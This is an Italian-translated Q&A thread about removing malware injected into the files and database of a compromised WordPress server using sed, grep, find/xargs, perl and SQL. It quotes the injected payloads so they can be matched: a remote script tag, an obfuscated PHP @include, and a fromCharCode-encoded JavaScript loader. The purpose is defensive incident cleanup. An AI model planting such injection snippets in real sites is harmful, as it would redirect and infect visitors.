Come sostituire l'intera stringa usando sed o possibilmente grep


10

Quindi il mio intero server è stato violato o ha avuto il problema del malware. il mio sito è basato su WordPress e la maggior parte dei siti ospitati sul mio server è basato su WordPress. L'hacker ha aggiunto questa riga di codice a ogni singolo file e nel database

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

L'ho cercato tramite grep usando

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

Sto cercando di sostituirlo in tutta la struttura dei file con sede ho scritto il seguente comando.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

Sto provando a sostituire prima la stringa su un singolo file index.php, quindi so che funziona.

e so che il mio codice è sbagliato. Per favore, aiutatemi con questo.

Ho provato con il codice @ Eran e ha eliminato l'intera riga, il che è buono e come previsto. Tuttavia, il gergo totale è questo

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

E mentre desidero eliminare tutto il contenuto, desidero mantenere il tag di apertura php <?php.

Anche se la soluzione di @slybloty è semplice e ha funzionato.

quindi per rimuovere completamente il codice da tutti i file interessati. Sto eseguendo i seguenti 3 comandi, grazie a tutti voi per questo.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - Rimuovere la riga dello script
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- Per rimuovere la @includelinea
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - Per rimuovere la riga di commento

Inoltre, ho eseguito nuovamente tutti e 3 i comandi '*.html'perché lo script dell'hacker ha creato index.html indesiderato in tutte le directory. Non ero sicuro che la cancellazione di questi index.html alla rinfusa sia l'approccio giusto.

ora, ho ancora bisogno di capire i file spazzatura e le sue tracce.

Lo script hacker ha aggiunto anche il codice JS.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

Sto provando a vedere se posso sedfarlo anch'io .


Come fai a sapere che il tuo codice è sbagliato?
Beta

Perché l'ho eseguito e continua a chiedere ulteriori input nella riga successiva come `>`
Dilip Gupta,

2
Non puoi semplicemente eliminare la riga? sed -i '/ trasnaltemyrecords / d'
Eran Ben-Natan

1
Inoltre, puoi aggiungere il tuo grep lì dentro per alimentare tutti i file con questa riga in essi in questo modo: while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})" L' -lopzione fornisce solo il nome del file e non il testo corrispondente.
Jason

1
Ancora una cosa ... Se segui questo approccio, sfrutterei il parametro opzionale "back up" per sed -i. Ad esempio, sed -i.bakcreerà un *.bakfile per tutti i file che vengono modificati. Se utilizzato con il while...grepciclo, eseguirà il backup solo dei file che contenevano quella stringa. Ci scusiamo per tutti i commenti aggiuntivi, ma a mio avviso, il malware è uno scenario "a portata di mano".
Jason,

Risposte:


2

Usa le virgolette doppie ( ") per la stringa e non sfuggire alle virgolette singole ( ') né ai tag ( <>). Sfuggire solo alle barre ( /).

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php

2

Qualunque sia il metodo che decidi di utilizzare con sed, puoi eseguire più processi contemporaneamente su più file con opzioni di filtro perfette con finde xargs. Per esempio:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

Lo farà:

  • find - trova
  • -type f - solo file
  • -name '*.txt' - che finisce con php
  • -print0 - stamparli separati da zero byte
  • | xargs -0 - per ogni file separato da zero byte
  • -P7 - esegue 7 processi in modo simultaneo
  • -n1 - per ogni file
  • sed - per ogni file eseguito sed
  • -i - modifica il file in atto
  • '...' - lo script sed che si desidera eseguire da altre risposte.

Potresti voler aggiungere -tun'opzione xargsper vedere l'avanzamento. Vedi man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).


2

Le virgolette singole sono prese letteralmente senza caratteri di escape. In var='hello\'', hai un preventivo non chiuso.

Per risolvere questo problema, 1) Utilizzare le virgolette doppie per racchiudere il sedcomando OPPURE 2) Terminare la singola stringa tra virgolette, aggiungere \'e riaprire la stringa di virgolette.

Il secondo metodo è più confuso, tuttavia.

Inoltre, è sedpossibile utilizzare qualsiasi delimitatore per separare i comandi. Poiché sono presenti barre nei comandi, è più semplice utilizzare le virgole. Ad esempio, utilizzando il primo metodo:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

Utilizzando il secondo metodo:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

Questo esempio è più educativo che pratico. Ecco come '\''funziona:

Primo ': termina la stringa letterale quotata corrente

\': Inserisci la virgoletta singola come carattere letterale

Secondo ': reinserire la stringa letterale tra virgolette

Finché non ci sono spazi, continuerai semplicemente il tuo sedcomando. Questa idea è unica per bash.

Lascio la fuga <e la >dentro perché non sono del tutto sicuro di cosa tu stia usando. sedusa \<e \>per indicare la corrispondenza delle parole. Non sono sicuro che sia intenzionale o meno.

Se questo non corrisponde a nulla, probabilmente vorrai evitare di sfuggire a <e >.

Modifica: vedere la soluzione di @EranBen-Natan nei commenti per una soluzione più pratica al problema reale. La mia risposta è più di una risorsa sul motivo per cui all'OP è stato richiesto di inserire più input con il suo comando originale.

Soluzione per la modifica 2

Perché questo funzioni, sto assumendo che tu sedabbia l'opzione non standard -z. La versione GNU di seddovrebbe avere questo. Sto anche assumendo che questo codice appaia sempre nel formato lungo 6 righe

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

Come funziona: stiamo usando l'inizio della riga fromCharCode per abbinare tutto. -zdivide il file su null anziché su nuove righe. Questo ci consente di cercare direttamente i feed di riga.

[^\n]*\n- Corrisponde a tutto fino a quando non viene riprodotto un avanzamento riga, quindi corrisponde all'alimentazione riga, evitando la corrispondenza regex avida. Poiché non stiamo dividendo i feed di riga ( -z), la regex var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\ncorrisponde alla corrispondenza più grande possibile. Ad esempio, se \n}\napparisse in un punto più in basso nel file, elimineresti tutto il codice tra di esso e il codice dannoso. Pertanto, ripetere questa sequenza 6 volte ci abbina alla fine della prima riga e alle successive 5 righe.

grep -lr- Solo un ricorsivo in grepcui elenchiamo solo i file che hanno lo schema corrispondente. In questo modo, sednon sta modificando tutti i file. Senza questo, -i.bak(non semplice -i) farebbe casino.


Grazie @Jason, proverò il tuo metodo per questo. In questo momento, non ho opzioni per il backup. Quindi sono bloccato con la pulizia.
Dilip Gupta,

@DilipGupta Suggerirei di eseguire il backup di dove ti trovi ora. È possibile utilizzare qualcosa di simile rsyncper eseguire il backup e il ripristino.
Jason,

Usi adminer.php? sembra infettabile
Jiro Matchonson l'

1

Hai installato il plugin wp-mail-smtp? Abbiamo lo stesso malware e abbiamo avuto qualcosa di strano wp-content/plugins/wp-mail-smtp/src/Debug.php.

Inoltre, il collegamento javascript si trova in ogni post_contentcampo nel wp_postsdatabase di WordPress.


Sì, ho quel plugin installato ed è lì come hai detto. Sto provando prima a ripulire e poi a rafforzare la sicurezza. Inoltre, l'hacker ha installato il plugin chiamato super-socialat, controlla anche quello.
Dilip Gupta,

Cosa hai trovato esattamente in quel Debug.php, non ho trovato nulla di strano lì dentro ma forse è memorizzato in un altro file, se potessi fornire una parte del codice potrei forse cercare i file per favore? Impossibile trovare il nuovo plug-in installato.
Jiro Matchonson,

1
Quale editor hai usato? Se lo apro in vim, posso vedere quella cosa weid, ma non in nano o in qualche editor come Geany .... imgur.com/a/wC9XAIy pastebin.com/Y39KEfDL
skuroedov

Ciao, lo stavo guardando attraverso winscp, ma ora ho anche provato vi, ma non ho ancora trovato nulla. Molto per esempio Ill tri per cercarlo nei file.
Jiro Matchonson,

Da una leggera occhiata sembra essere un'istruzione sql che è scritta usando le posizioni delle lettere nella variabile $ GLOBALS o qualcosa del genere, quindi non può essere trovata semplicemente cercando "trasnaltemyrecords" Ho provato a cercare grep -r "NULL ); @ $ "/ var / www / html / { ,. } o altre cose ma non ho trovato nulla. Comunque avevo un vecchio adminer.php sulla pagina di wordpress in modo che potesse essere anche la fonte di quella perdita, forse ..
Jiro Matchonson

0

Oggi ho la stessa cosa, tutti i post delle pagine hanno aggiunto questo brutto script di virus

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

L'ho separato dal database da

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

Almeno non ho file infetti

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

non ho trovato nulla, ma non ho idea di come questo sia entrato nel database da cui non sono affatto tranquillo.

Questa infezione ha causato reindirizzamenti sulle pagine, Chrome per lo più rileva e blocca questo. Non ho notato nulla di strano in - /wp-mail-smtp/src/Debug.php


Presumo che ciò sia correlato ad alcune delle interruzioni del plug-in e che l'hacker abbia ottenuto l'accesso backdoor al sito.
Dilip Gupta,

Ma quale plugin, 2 hous sono passati e tutto è di nuovo reindirizzato
Jiro Matchonson l'

0

Oggi ho la stessa cosa, a tutti i post delle pagine è stato aggiunto lo script. Ho gestito con successo con loro utilizzando https://en.wordpress.org/plugins/search-and-replace/ plugin.

Inoltre, ho anche trovato un record nella stringa di folowing della colonna post_content nella tabella wp_posts:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

e cancellato manualmente.


0

Per me ha funzionato questo:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

Devi cercare: * .js, * .json, * .map

Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.